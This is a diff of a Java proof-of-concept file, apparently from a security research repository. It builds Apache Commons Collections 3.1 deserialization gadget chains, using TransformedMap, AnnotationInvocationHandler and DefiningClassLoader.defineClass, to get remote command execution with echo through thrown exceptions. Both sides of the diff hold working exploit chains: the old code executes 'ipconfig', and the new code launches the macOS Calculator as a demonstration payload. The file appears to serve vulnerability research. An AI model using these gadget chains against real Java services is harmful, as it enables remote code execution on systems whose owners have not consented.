|
16 | 16 |
|
17 | 17 | /** |
18 | 18 | * 此处基于Collections3.1中的TransformedMap利用漏洞,并进一步利用defineCLass构造回显,回显利用异常抛出带回, |
19 | | - * 但由于DefiningClassLoader类所属jar包使用范围有限,而且AnnotationInvocationHandler的利用也仅限jdk1.8以下, |
20 | | - * 使得这样的利用链可用性不高。 |
| 19 | + * 但由于DefiningClassLoader类所属jar包使用范围有限,而且AnnotationInvocationHandler的利用也仅限jdk1.8以下, 使得这样的利用链可用性不高。 |
21 | 20 | * |
22 | 21 | * Created by xuanyonghao on 2018/5/4. |
23 | 22 | */ |
24 | 23 | public class SerializeMapForTransformer { |
25 | | - public static void main(String[] args) throws Throwable { |
26 | | -// testCallbackRuntime(); |
27 | | -// testAnnotationInvocationHandlerForDefineClass(); |
28 | 24 |
|
29 | | - //测试加载class时触发远程指令 |
30 | | - testCallbackRuntime2(); |
31 | | - //测试反序列化加载class时触发远程指令 |
32 | | -// testStaticClassInitForDefineClass(); |
| 25 | + public static void main(String[] args) throws Throwable { |
| 26 | + //测试执行exec方法触发远程指令 |
| 27 | +// testCallbackRuntime(); |
| 28 | + //测试反序列化加载class时执行exec方法触发远程指令 |
| 29 | +// testAnnotationInvocationHandlerForDefineClass(); |
33 | 30 |
|
34 | | - } |
| 31 | + //测试加载class时触发远程指令 |
| 32 | +// testCallbackRuntime2(); |
| 33 | + //测试反序列化加载class时触发远程指令 |
| 34 | + testStaticClassInitForDefineClass(); |
35 | 35 |
|
36 | | - private static void testStaticClassInitForDefineClass() throws Exception { |
37 | | - Transformer[] transformers = new Transformer[]{ |
38 | | - new ConstantTransformer(DefiningClassLoader.class), |
39 | | - new InvokerTransformer("getConstructor",new Class[]{Class[].class},new Object[]{new Class[0]}), |
40 | | - new InvokerTransformer("newInstance",new Class[]{Object[].class},new Object[]{new Object[0]}), |
41 | | - new InvokerTransformer("defineClass",new Class[]{String.class,byte[].class},new Object[]{"com.xyh.collections3.no2.CallbackRuntime2", FileToByteArrayUtil.readCallbackRuntimeClassBytes("target/classes/com/xyh/collections3/no2/CallbackRuntime2.class")}), |
42 | | - new InvokerTransformer("newInstance",new Class[]{},new Object[]{}) |
43 | | - }; |
44 | | - Transformer transformer = new ChainedTransformer(transformers); |
45 | | - Map inner = new HashMap(); |
46 | | - inner.put("value","value"); |
47 | | - Map ouputMap = TransformedMap.decorate(inner,null,transformer); |
48 | | - Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class); |
49 | | - ctor.setAccessible(true); |
50 | | - Object o = ctor.newInstance(Target.class,ouputMap); |
51 | | - //序列化输出 |
52 | | - byte[] bytes = SerializeUtil.serialize(o); |
53 | | - //反序列化 |
54 | | - SerializeUtil.deserialize(bytes); |
55 | | - } |
| 36 | + } |
56 | 37 |
|
57 | | - private static void testAnnotationInvocationHandlerForDefineClass() throws Exception { |
58 | | - Transformer[] transformers = new Transformer[]{ |
59 | | - new ConstantTransformer(DefiningClassLoader.class), |
60 | | - new InvokerTransformer("getConstructor",new Class[]{Class[].class},new Object[]{new Class[0]}), |
61 | | - new InvokerTransformer("newInstance",new Class[]{Object[].class},new Object[]{new Object[0]}), |
62 | | - new InvokerTransformer("defineClass",new Class[]{String.class,byte[].class},new Object[]{"com.xyh.collections3.no2.CallbackRuntime", FileToByteArrayUtil.readCallbackRuntimeClassBytes("target/classes/com/xyh/collections3/no2/CallbackRuntime.classs")}), |
63 | | - new InvokerTransformer("newInstance",new Class[]{},new Object[]{}), |
64 | | - new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"ipconfig"}) |
65 | | - }; |
66 | | - Transformer transformer = new ChainedTransformer(transformers); |
67 | | - Map inner = new HashMap(); |
68 | | - inner.put("value","value"); |
69 | | - Map ouputMap = TransformedMap.decorate(inner,null,transformer); |
70 | | - Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class); |
71 | | - ctor.setAccessible(true); |
72 | | - Object o = ctor.newInstance(Target.class,ouputMap); |
73 | | - //序列化输出 |
74 | | - byte[] bytes = SerializeUtil.serialize(o); |
75 | | - //反序列化 |
76 | | - SerializeUtil.deserialize(bytes); |
77 | | - } |
| 38 | + private static void testStaticClassInitForDefineClass() throws Exception { |
| 39 | + Transformer[] transformers = new Transformer[]{ |
| 40 | + new ConstantTransformer(DefiningClassLoader.class), |
| 41 | + new InvokerTransformer("getConstructor", new Class[]{Class[].class}, |
| 42 | + new Object[]{new Class[0]}), |
| 43 | + new InvokerTransformer("newInstance", new Class[]{Object[].class}, |
| 44 | + new Object[]{new Object[0]}), |
| 45 | + new InvokerTransformer("defineClass", new Class[]{String.class, byte[].class}, |
| 46 | + new Object[]{"com.threedr3am.bug.collections3.no2.CallbackRuntime2", |
| 47 | + FileToByteArrayUtil.readCallbackRuntimeClassBytes( |
| 48 | + "com/threedr3am/bug/collections3/no2/CallbackRuntime2.class")}), |
| 49 | + new InvokerTransformer("newInstance", new Class[]{}, new Object[]{}) |
| 50 | + }; |
| 51 | + Transformer transformer = new ChainedTransformer(transformers); |
| 52 | + Map inner = new HashMap(); |
| 53 | + inner.put("value", "value"); |
| 54 | + Map ouputMap = TransformedMap.decorate(inner, null, transformer); |
| 55 | + Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler") |
| 56 | + .getDeclaredConstructor(Class.class, Map.class); |
| 57 | + ctor.setAccessible(true); |
| 58 | + Object o = ctor.newInstance(Target.class, ouputMap); |
| 59 | + //序列化输出 |
| 60 | + byte[] bytes = SerializeUtil.serialize(o); |
| 61 | + //反序列化 |
| 62 | + SerializeUtil.deserialize(bytes); |
| 63 | + } |
78 | 64 |
|
79 | | - private static void testCallbackRuntime() throws Throwable { |
80 | | - new CallbackRuntime().exec("ipconfig"); |
81 | | - } |
| 65 | + private static void testAnnotationInvocationHandlerForDefineClass() throws Exception { |
| 66 | + Transformer[] transformers = new Transformer[]{ |
| 67 | + new ConstantTransformer(DefiningClassLoader.class), |
| 68 | + new InvokerTransformer("getConstructor", new Class[]{Class[].class}, |
| 69 | + new Object[]{new Class[0]}), |
| 70 | + new InvokerTransformer("newInstance", new Class[]{Object[].class}, |
| 71 | + new Object[]{new Object[0]}), |
| 72 | + new InvokerTransformer("defineClass", new Class[]{String.class, byte[].class}, |
| 73 | + new Object[]{"com.threedr3am.bug.collections3.no2.CallbackRuntime", |
| 74 | + FileToByteArrayUtil.readCallbackRuntimeClassBytes( |
| 75 | + "com/threedr3am/bug/collections3/no2/CallbackRuntime.class")}), |
| 76 | + new InvokerTransformer("newInstance", new Class[]{}, new Object[]{}), |
| 77 | + new InvokerTransformer("exec", new Class[]{String.class}, |
| 78 | + new Object[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"}) |
| 79 | + }; |
| 80 | + Transformer transformer = new ChainedTransformer(transformers); |
| 81 | + Map inner = new HashMap(); |
| 82 | + inner.put("value", "value"); |
| 83 | + Map ouputMap = TransformedMap.decorate(inner, null, transformer); |
| 84 | + Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler") |
| 85 | + .getDeclaredConstructor(Class.class, Map.class); |
| 86 | + ctor.setAccessible(true); |
| 87 | + Object o = ctor.newInstance(Target.class, ouputMap); |
| 88 | + //序列化输出 |
| 89 | + byte[] bytes = SerializeUtil.serialize(o); |
| 90 | + //反序列化 |
| 91 | + SerializeUtil.deserialize(bytes); |
| 92 | + } |
82 | 93 |
|
83 | | - private static void testCallbackRuntime2() throws Throwable { |
84 | | - new CallbackRuntime2(); |
85 | | - } |
| 94 | + private static void testCallbackRuntime() throws Throwable { |
| 95 | + new CallbackRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator"); |
| 96 | + } |
| 97 | + |
| 98 | + private static void testCallbackRuntime2() throws Throwable { |
| 99 | + new CallbackRuntime2(); |
| 100 | + } |
86 | 101 | } |
0 commit comments